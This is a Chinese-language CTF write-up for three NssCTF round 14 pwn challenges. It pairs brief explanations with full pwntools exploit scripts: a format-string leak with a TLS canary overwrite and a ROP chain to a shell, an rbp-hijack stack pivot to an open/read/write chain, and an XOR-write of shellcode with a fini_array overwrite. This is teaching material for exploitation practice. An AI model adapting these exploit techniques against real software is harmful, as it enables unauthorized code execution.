NssCTF round14

文章发布时间:

最后更新时间:

文章总字数:
1.2k

预计阅读时间:
6 分钟

love

这题可以非预期 但是由于时间比较充裕 就按照出题人的意思来做一做

比较简单的一题 难点在于最后的破坏了tls结构体的时候 不能选择system函数 要用syscall 但是稍微修复一下tls结构体 还是可以调用system函数的

考点在于pthread_create会使得新线程栈的布局迁移到tls结构体附近的一块地址 导致我们可以通过栈溢出覆盖到tls的canary 从而来绕过canary

修复tls结构体只需要把fs:0x10处的值覆盖成addr+0x308后是一个可读的地址即可

自己调一调就可以懂了

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
import pwn_pb2
#io = process("./pwn")
io = remote("node3.anna.nssctf.cn",28092)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

io.recvuntil("I want to hear your praise of Toka")
payload = '%520c%9$n%17$p'
# gdb.attach(io,'b *0x40131B')
# gdb.attach(io,'b *0x401290')
io.send(payload)
# pause()
io.recvuntil("\xc0")
libc_addr = int(io.recv(14),16)-libc.sym['__libc_start_main']-243
success("libc_addr :"+hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
fs_base = libc_addr - 0x3900
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
rdi_addr = next(elf.search(asm("pop rdi;ret")))
ret_addr = next(elf.search(asm("ret")))
io.recvuntil("I know you like him, but you must pass my level")
payload = cyclic(0x28)+p64(0x100)+cyclic(0x8)+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)+cyclic(0x840-0x30-0x28)+cyclic(0x10)+p64(elf.bss(0x200))+cyclic(0x10)+b'\x00\x01\x00\x00\x00\x00\x00'
# gdb.attach(io,f'b *{libc_addr+0x10ca1e}')
io.sendline(payload)
# pause()
io.interactive()

rbp

劫持rbp可以任意写 然后就是打orw 没什么好说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
import pwn_pb2
io = process("./pwn")
#io = remote("node3.anna.nssctf.cn",28092)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

io.recvuntil("try it")
ptr_read = 0x401292
bss_addr = elf.bss(0x800)
payload = cyclic(0x210)+p64(bss_addr+0x210)+p64(ptr_read)
io.send(payload)

rdi_addr = next(elf.search(asm("pop rdi;ret")))
rbp_addr = next(elf.search(asm("pop rbp;ret")))
leave_addr = next(elf.search(asm("leave;ret")))
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
payload = p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(rbp_addr)+p64(bss_addr+0x510)+p64(ptr_read)+b'./flag\x00\x00'+cyclic(0x210-0x38)+p64(bss_addr-0x8)+p64(leave_addr)
# gdb.attach(io,'b *0x4012C0')
io.send(payload)
# pause()

libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
success("libc_addr :"+hex(libc_addr))
rsi_addr = libc_addr + next(libc.search(asm("pop rsi;ret")))
rdx_addr = libc_addr + 0x0000000000142c92
read_addr = libc_addr + libc.sym['read']
open_addr = libc_addr + libc.sym['open']
write_addr = libc_addr + libc.sym['write']
flag_addr = bss_addr+0x30

payload = p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0)+p64(open_addr)
payload += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(bss_addr+0x600)+p64(rdx_addr)+p64(0x100)+p64(read_addr)
payload += p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(bss_addr+0x600)+p64(write_addr)
payload = payload.ljust(0x210,b'\x00')+p64(bss_addr+0x300-0x8)+p64(leave_addr)
# gdb.attach(io,'b *0x4012C0')
io.send(payload)
# pause()
io.recv()
io.recv()

xor

image-20230731221415889

保护全关了 可用的攻击手法变得多元化起来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+7h] [rbp-9h] BYREF
_BYTE *v5; // [rsp+8h] [rbp-8h] BYREF

init(argc, argv, envp);
while ( flag <= 0 )
{
printf("addr: ");
__isoc99_scanf("%p", &v5);
printf("value: ");
__isoc99_scanf(" %hhx", &v4);
xorByteWithAddress(v5, v4);
}
return 0;
}

程序的主体逻辑很简单

就是可以向一个任意地址 进行一次单字节的异或的操作

但是由于while循环的条件是flag小于等于0

执行完xorByteWithAddress函数后 flag的值自增 就退出while循环

所以我们首要的思路就是想办法把flag的值修改成负数

随后往bss段上写入shellcode 利用main函数结束会调用隐式exit函数 中间利用call函数调用了fini_array

通过覆盖fini_array就可以调用到shellcode

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
import pwn_pb2
io = process("./pwn")
#io = remote("node3.anna.nssctf.cn",28092)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

fini_addr = 0x600970
def xor(addr,xor_message):
io.recvuntil("addr: ")
got = elf.got['printf']
io.sendline(addr)
io.recvuntil("value: ")
# gdb.attach(io,'b *0x400738')
io.sendline(xor_message)



bss_addr =elf.bss(0x300)
shellcode = ['48','31','f6','56','48','bf','2f','62','69','6e','2f','2f','73','68','57','54','5f','6a','3b','58','99','0f','05']
xor("600BCf","ff")
addr = "600ea0"
for i in shellcode:
xor(addr,i)
num = int(addr, 16)
num += 1
addr = format(num, 'x')
print(addr)
xor("600970","b0")
xor("600971","8")
xor("600972","20")
# gdb.attach(io,'b *_dl_fini+524')
# pause(0)
xor("600Bcf","ff")
# pause()
io.interactive()